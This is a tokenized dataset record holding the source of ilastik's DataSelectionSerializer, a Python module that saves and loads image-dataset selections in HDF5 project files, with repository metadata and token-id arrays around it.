4011, 18, 199, 646, 4011, 199, 646, 2022, 199, 646, 3873, 199, 504, 5796, 492, 11086, 199, 199, 55, 619, 9730, 63, 9431, 275, 26810, 15, 4091, 2723, 15, 2164, 15, 17912, 15, 5652, 15, 87, 32369, 384, 2, 199, 14336, 16897, 63, 3022, 275, 1994, 4219, 15, 16779, 2411, 15, 4091, 2723, 15, 1569, 15, 18534, 15, 1753, 7, 199, 199, 1531, 63, 466, 275, 2097, 9466, 14925, 63, 4091, 401, 298, 9466, 14925, 63, 11375, 401, 298, 374, 82, 63, 4091, 401, 298, 374, 82, 63, 11375, 937, 199, 3578, 63, 1247, 275, 2097, 573, 1915, 401, 298, 1409, 401, 298, 15707, 401, 298, 23660, 401, 298, 4584, 401, 298, 2307, 401, 298, 29819, 937, 199, 4091, 2723, 63, 1000, 63, 711, 275, 298, 4091, 2723, 14, 16779, 2411, 14, 16779, 2, 199, 4091, 2723, 63, 1000, 63, 719, 275, 1695, 15385, 199, 374, 82, 63, 1000, 63, 711, 275, 298, 4091, 2723, 14, 16779, 2411, 14, 16779, 2, 199, 374, 82, 63, 1000, 63, 719, 275, 1749, 21013, 199, 374, 63, 2379, 63, 2671, 275, 756, 199, 2019, 63, 8536, 63, 5652, 275, 378, 14, 16, 421, 199, 14564, 63, 1000, 275, 298, 4091, 2723, 14, 16779, 2411, 14, 16779, 2, 199, 7121, 63, 3022, 275, 3286, 4219, 15, 16779, 2411, 15, 4091, 2723, 15, 13717, 15, 2164, 15, 846, 63, 1258, 15, 15853, 2, 199, 45, 1938, 1149, 63, 1258, 275, 2071, 83, 15, 573, 1915, 63, 1258, 14, 647, 446, 73, 16605, 1210, 15, 573, 1915, 446, 83, 450, 83, 446, 80, 1749, 22097, 2, 450, 334, 7121, 63, 3022, 12, 18719, 63, 1000, 9, 199, 25302, 21174, 63, 1258, 275, 2071, 83, 15, 15707, 63, 1258, 14, 647, 446, 73, 16605, 1210, 15, 15707, 15, 5470, 63, 1210, 63, 17, 3321, 446, 83, 450, 83, 446, 80, 1749, 19035, 2, 450, 334, 7121, 63, 3022, 12, 18719, 63, 1000, 9, 199, 13199, 63, 1258, 275, 298, 6138, 446, 7338, 450, 83, 15, 13199, 15, 13414, 2761, 20436, 3717, 3041, 14, 7338, 450, 83, 1749, 14690, 16605, 1210, 15, 1409, 6687, 450, 334, 7121, 63, 3022, 12, 18719, 63, 1000, 9, 199, 14179, 25126, 63, 1258, 275, 298, 6138, 446, 7338, 450, 83, 15, 14179, 25126, 15, 27047, 12736, 2761, 20436, 3717, 3041, 14, 7338, 450, 83, 14313, 3328, 16605, 1210, 15, 23660, 2, 450, 334, 7121, 63, 3022, 12, 18719, 63, 1000, 9, 199, 45, 689, 63, 1258, 275, 2071, 83, 15, 4584, 63, 1258, 14, 647, 446, 73, 16605, 1210, 15, 4584, 15, 446, 83, 450, 83, 446, 80, 1749, 16285, 2, 450, 334, 7121, 63, 3022, 12, 18719, 63, 1000, 9, 421, 199, 318, 3957, 63, 475, 63, 18967, 8, 1210, 63, 493, 304, 272, 1324, 63, 1278, 275, 1551, 8, 1210, 63, 493, 12, 298, 82, 3471, 739, 1252, 1294, 4582, 78, 531, 272, 519, 6215, 63, 513, 275, 942, 272, 31292, 351, 63, 1838, 275, 378, 14, 16, 272, 1343, 63, 521, 275, 378, 14, 16, 272, 1284, 63, 521, 275, 378, 14, 16, 272, 367, 1478, 12, 641, 32347, 315, 3874, 8, 1210, 63, 1278, 304, 267, 340, 822, 8, 265, 32347, 14, 1294, 4582, 84, 2237, 1137, 1227, 436, 822, 8, 265, 32347, 14, 1294, 4582, 84, 2237, 1137, 959, 26, 288, 327, 1274, 14, 3083, 14, 952, 480, 547, 737, 1324, 1004, 737, 450, 68, 12, 450, 83, 60, 78, 2, 450, 334, 1080, 12, 641, 32347, 430, 288, 1980, 267, 862, 26, 288, 340, 2069, 8, 265, 32347, 14, 1294, 4582, 84, 9981, 18, 566, 508, 378, 26, 355, 984, 14, 3083, 14, 952, 480, 547, 737, 1324, 1004, 737, 450, 68, 12, 450, 83, 60, 78, 2, 450, 334, 1080, 12, 641, 32347, 430, 355, 1980, 267, 871, 1722, 26, 288, 1980, 267, 862, 26, 288, 519, 6215, 63, 513, 14, 740, 8, 1609, 8, 265, 32347, 14, 1294, 4582, 84, 9981, 19, 2459, 288, 340, 440, 1478, 508, 378, 26, 355, 327, 25863, 1125, 1930, 2382, 2536, 31292, 351, 574, 365, 18527, 370, 23967, 355, 31292, 351, 63, 1838, 847, 334, 1609, 8, 265, 32347, 14, 1294, 4582, 84, 9981, 20, 2459, 953, 340, 1343, 63, 521, 508, 378, 14, 16, 26, 355, 1343, 63, 521, 275, 2069, 8, 265, 32347, 14, 1294, 4582, 84, 9981, 17, 566, 288, 1284, 63, 521, 275, 2069, 8, 265, 32347, 14, 1294, 4582, 84, 9981, 18, 566, 267, 871, 1722, 26, 288, 984, 14, 3083, 14, 952, 480, 547, 737, 1324, 1004, 737, 450, 68, 12, 450, 83, 60, 78, 2, 450, 334, 1080, 12, 641, 32347, 430, 288, 1980, 339, 519, 6215, 63, 5917, 275, 3355, 8, 2591, 84, 63, 513, 9, 272, 3141, 63, 2591, 84, 63, 1955, 275, 822, 8, 2591, 84, 63, 5917, 9, 272, 26037, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ilastikdev/ilastik
ilastik/applets/dataSelection/dataSelectionSerializer.py
1
25923
############################################################################### # ilastik: interactive learning and segmentation toolkit # # Copyright (C) 2011-2014, the ilastik developers # <team@ilastik.org> # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # In addition, as a special exception, the copyright holders of # ilastik give you permission to combine ilastik with applets, # workflows and plugins which are not covered under the GNU # General Public License. # # See the LICENSE file for details. License information is also available # on the ilastik web site at: # http://ilastik.org/license.html ############################################################################### from opDataSelection import OpDataSelection, DatasetInfo from lazyflow.operators.ioOperators import OpStackToH5Writer, OpH5WriterBigDataset import os import vigra from lazyflow.utility import PathComponents from lazyflow.utility.timer import timeLogged from ilastik.utility import bind from lazyflow.utility.pathHelpers import getPathVariants, isUrl import ilastik.utility.globals from ilastik.applets.base.appletSerializer import \ AppletSerializer, getOrCreateGroup, deleteIfPresent import logging logger = logging.getLogger(__name__) class DataSelectionSerializer( AppletSerializer ): """ Serializes the user's input data selections to an ilastik v0.6 project file. The model operator for this serializer is the ``OpMultiLaneDataSelectionGroup`` """ # Constants LocationStrings = { DatasetInfo.Location.FileSystem : 'FileSystem', DatasetInfo.Location.ProjectInternal : 'ProjectInternal' } def __init__(self, topLevelOperator, projectFileGroupName): super( DataSelectionSerializer, self ).__init__(projectFileGroupName) self.topLevelOperator = topLevelOperator self._dirty = False self.caresOfHeadless = True self._projectFilePath = None self.version = '0.2' def handleDirty(): if not self.ignoreDirty: self._dirty = True self.topLevelOperator.ProjectFile.notifyDirty( bind(handleDirty) ) self.topLevelOperator.ProjectDataGroup.notifyDirty( bind(handleDirty) ) self.topLevelOperator.WorkingDirectory.notifyDirty( bind(handleDirty) ) def handleNewDataset(slot, roleIndex): slot[roleIndex].notifyDirty( bind(handleDirty) ) slot[roleIndex].notifyDisconnect( bind(handleDirty) ) def handleNewLane(multislot, laneIndex): assert multislot == self.topLevelOperator.DatasetGroup multislot[laneIndex].notifyInserted( bind(handleNewDataset) ) for roleIndex in range( len(multislot[laneIndex]) ): handleNewDataset(multislot[laneIndex], roleIndex) self.topLevelOperator.DatasetGroup.notifyInserted( bind(handleNewLane) ) # If a dataset was removed, we need to be reserialized. self.topLevelOperator.DatasetGroup.notifyRemoved( bind(handleDirty) ) @timeLogged(logger, logging.DEBUG) def _serializeToHdf5(self, topGroup, hdf5File, projectFilePath): # Write any missing local datasets to the local_data group localDataGroup = getOrCreateGroup(topGroup, 'local_data') wroteInternalData = False for laneIndex, multislot in enumerate(self.topLevelOperator.DatasetGroup): for roleIndex, slot in enumerate( multislot ): if not slot.ready(): continue info = slot.value # If this dataset should be stored in the project, but it isn't there yet if info.location == DatasetInfo.Location.ProjectInternal \ and info.datasetId not in localDataGroup.keys(): # Obtain the data from the corresponding output and store it to the project. dataSlot = self.topLevelOperator._NonTransposedImageGroup[laneIndex][roleIndex] try: opWriter = OpH5WriterBigDataset(parent=self.topLevelOperator.parent, graph=self.topLevelOperator.graph) opWriter.CompressionEnabled.setValue(False) # Compression slows down browsing a lot, and raw data tends to be noisy and doesn't compress very well, anyway. opWriter.hdf5File.setValue( localDataGroup ) opWriter.hdf5Path.setValue( info.datasetId ) opWriter.Image.connect(dataSlot) # Trigger the copy success = opWriter.WriteImage.value assert success finally: opWriter.cleanUp() # Add axistags and drange attributes, in case someone uses this dataset outside ilastik localDataGroup[info.datasetId].attrs['axistags'] = dataSlot.meta.axistags.toJSON() if dataSlot.meta.drange is not None: localDataGroup[info.datasetId].attrs['drange'] = dataSlot.meta.drange # Make sure the dataSlot's axistags are updated with the dataset as we just wrote it # (The top-level operator may use an OpReorderAxes, which changed the axisorder) info.axistags = dataSlot.meta.axistags wroteInternalData = True # Construct a list of all the local dataset ids we want to keep localDatasetIds = set() for laneIndex, multislot in enumerate(self.topLevelOperator.DatasetGroup): for roleIndex, slot in enumerate(multislot): if slot.ready() and slot.value.location == DatasetInfo.Location.ProjectInternal: localDatasetIds.add( slot.value.datasetId ) # Delete any datasets in the project that aren't needed any more for datasetName in localDataGroup.keys(): if datasetName not in localDatasetIds: del localDataGroup[datasetName] if wroteInternalData: # We can only re-configure the operator if we're not saving a snapshot # We know we're saving a snapshot if the project file isn't the one we deserialized with. if self._projectFilePath is None or self._projectFilePath == projectFilePath: # Force the operator to setupOutputs() again so it gets data from the project, not external files firstInfo = self.topLevelOperator.DatasetGroup[0][0].value self.topLevelOperator.DatasetGroup[0][0].setValue(firstInfo, check_changed=False) deleteIfPresent(topGroup, 'Role Names') topGroup.create_dataset('Role Names', data=self.topLevelOperator.DatasetRoles.value) # Access the info group infoDir = getOrCreateGroup(topGroup, 'infos') # Delete all infos for infoName in infoDir.keys(): del infoDir[infoName] # Rebuild the list of infos roleNames = self.topLevelOperator.DatasetRoles.value for laneIndex, multislot in enumerate(self.topLevelOperator.DatasetGroup): laneGroupName = 'lane{:04d}'.format(laneIndex) laneGroup = infoDir.create_group( laneGroupName ) for roleIndex, slot in enumerate(multislot): infoGroup = laneGroup.create_group( roleNames[roleIndex] ) if slot.ready(): datasetInfo = slot.value locationString = self.LocationStrings[datasetInfo.location] infoGroup.create_dataset('location', data=locationString) infoGroup.create_dataset('filePath', data=datasetInfo.filePath) infoGroup.create_dataset('datasetId', data=datasetInfo.datasetId) infoGroup.create_dataset('allowLabels', data=datasetInfo.allowLabels) infoGroup.create_dataset('nickname', data=datasetInfo.nickname) infoGroup.create_dataset('fromstack', data=datasetInfo.fromstack) if datasetInfo.drange is not None: infoGroup.create_dataset('drange', data=datasetInfo.drange) # Pull the axistags from the NonTransposedImage, # which is what the image looks like before 'force5d' is applied, # and before 'c' is automatically appended axistags = self.topLevelOperator._NonTransposedImageGroup[laneIndex][roleIndex].meta.axistags infoGroup.create_dataset('axistags', data=axistags.toJSON()) axisorder = "".join(tag.key for tag in axistags) infoGroup.create_dataset('axisorder', data=axisorder) if datasetInfo.subvolume_roi is not None: infoGroup.create_dataset('subvolume_roi', data=datasetInfo.subvolume_roi) self._dirty = False def importStackAsLocalDataset(self, info): """ Add the given stack data to the project file as a local dataset. Does not update the topLevelOperator. :param info: A DatasetInfo object. Note: info.filePath must be a str which lists the stack files, delimited with os.path.pathsep Note: info will be MODIFIED by this function. Use the modified info when assigning it to a dataset. """ try: self.progressSignal.emit(0) projectFileHdf5 = self.topLevelOperator.ProjectFile.value topGroup = getOrCreateGroup(projectFileHdf5, self.topGroupName) localDataGroup = getOrCreateGroup(topGroup, 'local_data') globstring = info.filePath info.location = DatasetInfo.Location.ProjectInternal firstPathParts = PathComponents(info.filePath.split(os.path.pathsep)[0]) info.filePath = firstPathParts.externalDirectory + '/??' + firstPathParts.extension info.fromstack = True # Use absolute path cwd = self.topLevelOperator.WorkingDirectory if os.path.pathsep not in globstring and not os.path.isabs(globstring): globstring = os.path.normpath( os.path.join(cwd, globstring) ) opWriter = OpStackToH5Writer(parent=self.topLevelOperator.parent, graph=self.topLevelOperator.graph) opWriter.hdf5Group.setValue(localDataGroup) opWriter.hdf5Path.setValue(info.datasetId) opWriter.GlobString.setValue(globstring) # Forward progress from the writer directly to our applet opWriter.progressSignal.subscribe( self.progressSignal.emit ) success = opWriter.WriteImage.value finally: opWriter.cleanUp() self.progressSignal.emit(100) return success def initWithoutTopGroup(self, hdf5File, projectFilePath): """ Overridden from AppletSerializer.initWithoutTopGroup """ # The 'working directory' for the purpose of constructing absolute # paths from relative paths is the project file's directory. projectDir = os.path.split(projectFilePath)[0] self.topLevelOperator.WorkingDirectory.setValue( projectDir ) self.topLevelOperator.ProjectDataGroup.setValue( self.topGroupName + '/local_data' ) self.topLevelOperator.ProjectFile.setValue( hdf5File ) self._dirty = False @timeLogged(logger, logging.DEBUG) def _deserializeFromHdf5(self, topGroup, groupVersion, hdf5File, projectFilePath, headless): self._projectFilePath = projectFilePath self.initWithoutTopGroup(hdf5File, projectFilePath) # normally the serializer is not dirty after loading a project file # however, when the file was corrupted, the user has the possibility # to save the fixed file after loading it. infoDir = topGroup['infos'] localDataGroup = topGroup['local_data'] assert self.topLevelOperator.DatasetRoles.ready(), \ "Expected dataset roles to be hard-coded by the workflow." workflow_role_names = self.topLevelOperator.DatasetRoles.value # If the project file doesn't provide any role names, then we assume this is an old pixel classification project force_dirty = False backwards_compatibility_mode = ('Role Names' not in topGroup) self.topLevelOperator.DatasetGroup.resize( len(infoDir) ) # The role names MAY be different than those that we have loaded in the workflow # because we might be importing from a project file made with a different workflow. # Therefore, we don't assert here. # assert workflow_role_names == list(topGroup['Role Names'][...]) # Use the WorkingDirectory slot as a 'transaction' guard. # To prevent setupOutputs() from being called a LOT of times during this loop, # We'll disconnect it so the operator is not 'configured' while we do this work. # We'll reconnect it after we're done so the configure step happens all at once. working_dir = self.topLevelOperator.WorkingDirectory.value self.topLevelOperator.WorkingDirectory.disconnect() missing_role_warning_issued = False for laneIndex, (_, laneGroup) in enumerate( sorted(infoDir.items()) ): # BACKWARDS COMPATIBILITY: # Handle projects that didn't support multiple datasets per lane if backwards_compatibility_mode: assert 'location' in laneGroup datasetInfo, dirty = self._readDatasetInfo(laneGroup, localDataGroup, projectFilePath, headless) force_dirty |= dirty # Give the new info to the operator self.topLevelOperator.DatasetGroup[laneIndex][0].setValue(datasetInfo) else: for roleName, infoGroup in sorted(laneGroup.items()): datasetInfo, dirty = self._readDatasetInfo(infoGroup, localDataGroup, projectFilePath, headless) force_dirty |= dirty # Give the new info to the operator if datasetInfo is not None: try: # Look up the STORED role name in the workflow operator's list of roles. roleIndex = workflow_role_names.index( roleName ) except ValueError: if not missing_role_warning_issued: msg = 'Your project file contains a dataset for "{}", but the current '\ 'workflow has no use for it. The stored dataset will be ignored.'\ .format( roleName ) logger.error(msg) missing_role_warning_issued = True else: self.topLevelOperator.DatasetGroup[laneIndex][roleIndex].setValue(datasetInfo) # Finish the 'transaction' as described above. self.topLevelOperator.WorkingDirectory.setValue( working_dir ) self._dirty = force_dirty def _readDatasetInfo(self, infoGroup, localDataGroup, projectFilePath, headless): # Unready datasets are represented with an empty group. if len( infoGroup ) == 0: return None, False datasetInfo = DatasetInfo() # Make a reverse-lookup of the location storage strings LocationLookup = { v:k for k,v in self.LocationStrings.items() } datasetInfo.location = LocationLookup[ str(infoGroup['location'].value) ] # Write to the 'private' members to avoid resetting the dataset id datasetInfo._filePath = infoGroup['filePath'].value datasetInfo._datasetId = infoGroup['datasetId'].value try: datasetInfo.allowLabels = infoGroup['allowLabels'].value except KeyError: pass try: datasetInfo.drange = tuple( infoGroup['drange'].value ) except KeyError: pass try: datasetInfo.nickname = infoGroup['nickname'].value except KeyError: datasetInfo.nickname = PathComponents(datasetInfo.filePath).filenameBase try: datasetInfo.fromstack = infoGroup['fromstack'].value except KeyError: # Guess based on the storage setting and original filepath datasetInfo.fromstack = ( datasetInfo.location == DatasetInfo.Location.ProjectInternal and ( ('?' in datasetInfo._filePath) or (os.path.pathsep in datasetInfo._filePath) ) ) try: tags = vigra.AxisTags.fromJSON( infoGroup['axistags'].value ) datasetInfo.axistags = tags except KeyError: # Old projects just have an 'axisorder' field instead of full axistags try: axisorder = infoGroup['axisorder'].value datasetInfo.axistags = vigra.defaultAxistags(axisorder) except KeyError: pass try: start, stop = map( tuple, infoGroup['subvolume_roi'].value ) datasetInfo.subvolume_roi = (start, stop) except KeyError: pass # If the data is supposed to be in the project, # check for it now. if datasetInfo.location == DatasetInfo.Location.ProjectInternal: if not datasetInfo.datasetId in localDataGroup.keys(): raise RuntimeError("Corrupt project file. Could not find data for " + infoGroup.name) dirty = False # If the data is supposed to exist outside the project, make sure it really does. if datasetInfo.location == DatasetInfo.Location.FileSystem and not isUrl(datasetInfo.filePath): pathData = PathComponents( datasetInfo.filePath, os.path.split(projectFilePath)[0]) filePath = pathData.externalPath if not os.path.exists(filePath): if headless: raise RuntimeError("Could not find data at " + filePath) filt = "Image files (" + ' '.join('*.' + x for x in OpDataSelection.SupportedExtensions) + ')' newpath = self.repairFile(filePath, filt) if pathData.internalPath is not None: newpath += pathData.internalPath datasetInfo._filePath = getPathVariants(newpath , os.path.split(projectFilePath)[0])[0] dirty = True return datasetInfo, dirty def updateWorkingDirectory(self,newpath,oldpath): newdir = PathComponents(newpath).externalDirectory olddir = PathComponents(oldpath).externalDirectory if newdir==olddir: return # Disconnect the working directory while we make these changes. # All the changes will take effect when we set the new working directory. self.topLevelOperator.WorkingDirectory.disconnect() for laneIndex, multislot in enumerate(self.topLevelOperator.DatasetGroup): for roleIndex, slot in enumerate(multislot): if not slot.ready(): # Skip if there is no dataset in this lane/role combination yet. continue datasetInfo = slot.value if datasetInfo.location == DatasetInfo.Location.FileSystem: #construct absolute path and recreate relative to the new path fp = PathComponents(datasetInfo.filePath,olddir).totalPath() abspath, relpath = getPathVariants(fp,newdir) # Same convention as in dataSelectionGui: # Relative by default, unless the file is in a totally different tree from the working directory. if relpath is not None and len(os.path.commonprefix([fp, abspath])) > 1: datasetInfo.filePath = relpath else: datasetInfo.filePath = abspath slot.setValue(datasetInfo, check_changed=False) self.topLevelOperator.WorkingDirectory.setValue(newdir) self._projectFilePath = newdir def isDirty(self): """ Return true if the current state of this item (in memory) does not match the state of the HDF5 group on disk. SerializableItems are responsible for tracking their own dirty/notdirty state.""" return self._dirty def unload(self): """ Called if either (1) the user closed the project or (2) the project opening process needs to be aborted for some reason (e.g. not all items could be deserialized properly due to a corrupted ilp) This way we can avoid invalid state due to a partially loaded project. """ self.topLevelOperator.DatasetGroup.resize( 0 ) class Ilastik05DataSelectionDeserializer(AppletSerializer): """ Deserializes the user's input data selections from an ilastik v0.5 project file. """ def __init__(self, topLevelOperator): super( Ilastik05DataSelectionDeserializer, self ).__init__( '' ) self.topLevelOperator = topLevelOperator def serializeToHdf5(self, hdf5File, projectFilePath): # This class is for DEserialization only. pass def deserializeFromHdf5(self, hdf5File, projectFilePath, headless = False): # Check the overall file version ilastikVersion = hdf5File["ilastikVersion"].value # This is the v0.5 import deserializer. Don't work with 0.6 projects (or anything else). if ilastikVersion != 0.5: return # The 'working directory' for the purpose of constructing absolute # paths from relative paths is the project file's directory. projectDir = os.path.split(projectFilePath)[0] self.topLevelOperator.WorkingDirectory.setValue( projectDir ) # Access the top group and the info group try: #dataset = hdf5File["DataSets"]["dataItem00"]["data"] dataDir = hdf5File["DataSets"] except KeyError: # If our group (or subgroup) doesn't exist, then make sure the operator is empty self.topLevelOperator.DatasetGroup.resize( 0 ) return self.topLevelOperator.DatasetGroup.resize( len(dataDir) ) for index, (datasetDirName, datasetDir) in enumerate( sorted(dataDir.items()) ): datasetInfo = DatasetInfo() # We'll set up the link to the dataset in the old project file, # but we'll set the location to ProjectInternal so that it will # be copied to the new file when the project is saved. datasetInfo.location = DatasetInfo.Location.ProjectInternal # Some older versions of ilastik 0.5 stored the data in tzyxc order. # Some power-users can enable a command-line flag that tells us to # transpose the data back to txyzc order when we import the old project. default_axis_order = ilastik.utility.globals.ImportOptions.default_axis_order if default_axis_order is not None: import warnings warnings.warn( "Using a strange axis order to import ilastik 0.5 projects: {}".format( default_axis_order ) ) datasetInfo.axistags = vigra.defaultAxistags(default_axis_order) # Write to the 'private' members to avoid resetting the dataset id totalDatasetPath = str(projectFilePath + '/DataSets/' + datasetDirName + '/data' ) datasetInfo._filePath = totalDatasetPath datasetInfo._datasetId = datasetDirName # Use the old dataset name as the new dataset id datasetInfo.nickname = "{} (imported from v0.5)".format( datasetDirName ) # Give the new info to the operator self.topLevelOperator.DatasetGroup[index][0].setValue(datasetInfo) def _serializeToHdf5(self, topGroup, hdf5File, projectFilePath): assert False def _deserializeFromHdf5(self, topGroup, groupVersion, hdf5File, projectFilePath): # This deserializer is a special-case. # It doesn't make use of the serializer base class, which makes assumptions about the file structure. # Instead, if overrides the public serialize/deserialize functions directly assert False def isDirty(self): """ Return true if the current state of this item (in memory) does not match the state of the HDF5 group on disk. SerializableItems are responsible for tracking their own dirty/notdirty state.""" return False def unload(self): """ Called if either (1) the user closed the project or (2) the project opening process needs to be aborted for some reason (e.g. not all items could be deserialized properly due to a corrupted ilp) This way we can avoid invalid state due to a partially loaded project. """ self.topLevelOperator.DatasetGroup.resize( 0 )
gpl-3.0
[ 199, 11490, 199, 3, 257, 284, 2019, 3258, 26, 12777, 9328, 436, 27315, 4744, 6065, 199, 3, 199, 3, 755, 1898, 334, 35, 9, 7760, 13, 7280, 12, 314, 284, 2019, 3258, 19782, 199, 3, 13293, 665, 5969, 32, 382, 1810, 3258, 14, 1308, 30, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 199, 3, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 199, 3, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 1010, 10234, 12, 465, 282, 4539, 1919, 12, 314, 4248, 31976, 402, 199, 3, 284, 2019, 3258, 8120, 1265, 4983, 370, 13323, 284, 2019, 3258, 543, 1145, 16537, 12, 199, 3, 10431, 83, 436, 8963, 1314, 787, 440, 24295, 1334, 314, 1664, 199, 3, 1696, 1684, 844, 14, 199, 3, 199, 3, 1666, 314, 5113, 570, 367, 2436, 14, 844, 2556, 365, 2597, 2808, 199, 3, 641, 314, 284, 2019, 3258, 3330, 4770, 737, 26, 199, 3, 1057, 257, 1455, 921, 382, 1810, 3258, 14, 1308, 15, 1682, 14, 1360, 199, 11490, 199, 504, 1687, 1451, 7713, 492, 9319, 1451, 7713, 12, 20284, 2354, 199, 504, 9617, 1659, 14, 12688, 14, 2308, 3632, 2750, 492, 9319, 4851, 1378, 40, 21, 6261, 12, 9319, 40, 21, 6261, 7279, 9271, 199, 199, 646, 747, 199, 646, 373, 528, 345, 199, 504, 9617, 1659, 14, 16877, 492, 6912, 22714, 199, 504, 9617, 1659, 14, 16877, 14, 7414, 492, 900, 28985, 199, 504, 284, 2019, 3258, 14, 16877, 492, 5398, 199, 504, 9617, 1659, 14, 16877, 14, 515, 4433, 83, 492, 664, 2042, 9958, 2285, 12, 365, 6417, 199, 646, 284, 2019, 3258, 14, 16877, 14, 8473, 199, 199, 504, 284, 2019, 3258, 14, 12820, 1086, 14, 1095, 14, 571, 2723, 7299, 492, 971, 272, 4693, 2723, 7299, 12, 664, 2844, 2499, 2448, 12, 3145, 3917, 19794, 199, 199, 646, 2050, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 533, 3918, 7713, 7299, 8, 4693, 2723, 7299, 3461, 272, 408, 272, 11973, 6491, 314, 922, 1159, 1324, 666, 7267, 83, 370, 376, 284, 2019, 3258, 373, 16, 14, 22, 2199, 570, 14, 2286, 710, 1402, 4182, 367, 642, 9146, 365, 314, 1124, 4619, 3947, 44, 5865, 1451, 7713, 2448, 1040, 272, 408, 272, 327, 22296, 14821, 12625, 12672, 275, 469, 20284, 2354, 14, 6592, 14, 17521, 420, 520, 283, 17521, 297, 717, 20284, 2354, 14, 6592, 14, 4761, 8405, 520, 283, 4761, 8405, 7, 789, 339, 347, 636, 826, 721, 277, 12, 2746, 4670, 7961, 12, 2199, 1173, 14405, 304, 267, 1613, 8, 3918, 7713, 7299, 12, 291, 221, 2843, 826, 721, 1715, 1173, 14405, 9, 267, 291, 14, 2119, 4670, 7961, 275, 2746, 4670, 7961, 267, 291, 423, 8799, 275, 756, 267, 291, 14, 696, 470, 3466, 11664, 2003, 275, 715, 2728, 291, 423, 1715, 14225, 275, 488, 2728, 291, 14, 1023, 275, 283, 16, 14, 18, 7, 2728, 347, 2429, 29413, 837, 288, 340, 440, 291, 14, 4247, 29413, 26, 355, 291, 423, 8799, 275, 715, 398, 291, 14, 2119, 4670, 7961, 14, 4761, 1173, 14, 6814, 29413, 8, 5398, 8, 2479, 29413, 9, 776, 267, 291, 14, 2119, 4670, 7961, 14, 4761, 1451, 2448, 14, 6814, 29413, 8, 5398, 8, 2479, 29413, 9, 776, 267, 291, 14, 2119, 4670, 7961, 14, 18356, 6231, 14, 6814, 29413, 8, 5398, 8, 2479, 29413, 9, 776, 2728, 347, 2429, 4665, 9271, 8, 7998, 12, 4719, 2681, 304, 288, 9348, 59, 3756, 2681, 1055, 6814, 29413, 8, 5398, 8, 2479, 29413, 9, 776, 288, 9348, 59, 3756, 2681, 1055, 6814, 16761, 8, 5398, 8, 2479, 29413, 9, 776, 267, 347, 2429, 4665, 44, 5865, 8, 3029, 7998, 12, 634, 5865, 2681, 304, 288, 702, 3510, 7998, 508, 291, 14, 2119, 4670, 7961, 14, 9271, 2448, 288, 3510, 7998, 59, 24064, 2681, 1055, 6814, 607, 9449, 8, 5398, 8, 2479, 4665, 9271, 9, 776, 288, 367, 4719, 2681, 315, 1425, 8, 822, 8, 3029, 7998, 59, 24064, 2681, 566, 3461, 355, 2429, 4665, 9271, 8, 3029, 7998, 59, 24064, 2681, 467, 4719, 2681, 9, 267, 291, 14, 2119, 4670, 7961, 14, 9271, 2448, 14, 6814, 607, 9449, 8, 5398, 8, 2479, 4665, 44, 5865, 9, 776, 398, 327, 982, 282, 4789, 1990, 4829, 12, 781, 1929, 370, 506, 295, 8397, 14, 267, 291, 14, 2119, 4670, 7961, 14, 9271, 2448, 14, 6814, 23407, 8, 5398, 8, 2479, 29413, 9, 776, 5493, 768, 521, 28985, 8, 2921, 12, 2050, 14, 5287, 9, 272, 347, 485, 3549, 1378, 40, 1587, 21, 8, 277, 12, 2746, 2448, 12, 394, 1587, 21, 1173, 12, 2199, 14225, 304, 267, 327, 6990, 1263, 4124, 2257, 13148, 370, 314, 2257, 63, 576, 1572, 267, 2257, 1451, 2448, 275, 664, 2844, 2499, 2448, 8, 2119, 2448, 12, 283, 1832, 63, 576, 358, 267, 336, 22665, 8405, 1451, 275, 756, 267, 367, 634, 5865, 2681, 12, 3510, 7998, 315, 3874, 8, 277, 14, 2119, 4670, 7961, 14, 9271, 2448, 304, 288, 367, 4719, 2681, 12, 9348, 315, 3874, 8, 3510, 7998, 3461, 355, 340, 440, 9348, 14, 2179, 837, 490, 1980, 355, 2256, 275, 9348, 14, 585, 355, 327, 982, 642, 4789, 1077, 506, 5489, 315, 314, 2199, 12, 1325, 652, 5712, 1133, 2337, 5966, 355, 340, 221, 2256, 